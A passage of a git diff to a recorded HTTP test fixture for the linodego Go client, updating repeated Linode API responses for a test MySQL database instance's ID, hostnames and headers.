"go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -17628,16 +22481,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:58:24 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -17653,7 +22509,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -17669,17 +22525,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -17692,16 +22549,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:58:39 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -17717,7 +22577,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -17733,17 +22593,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -17756,16 +22617,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:58:54 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -17781,7 +22645,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -17797,17 +22661,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -17820,16 +22685,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:59:09 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -17845,7 +22713,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -17861,17 +22729,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -17884,16 +22753,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:59:24 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -17909,7 +22781,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -17925,17 +22797,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -17948,16 +22821,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:59:39 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -17973,7 +22849,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -17989,17 +22865,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -18012,16 +22889,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:59:54 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -18037,7 +22917,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -18053,17 +22933,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -18076,16 +22957,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:00:09 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -18101,7 +22985,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -18117,17 +23001,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -18140,16 +23025,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:00:24 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -18165,7 +23053,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -18181,17 +23069,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -18204,16 +23093,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:00:39 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -18229,7 +23121,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -18245,17 +23137,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -18268,16 +23161,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:00:54 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -18293,7 +23189,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -18309,17 +23205,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -18332,16 +23229,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:01:09 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -18357,7 +23257,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -18373,17 +23273,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -18396,16 +23297,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:01:24 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -18421,7 +23325,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -18437,17 +23341,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, 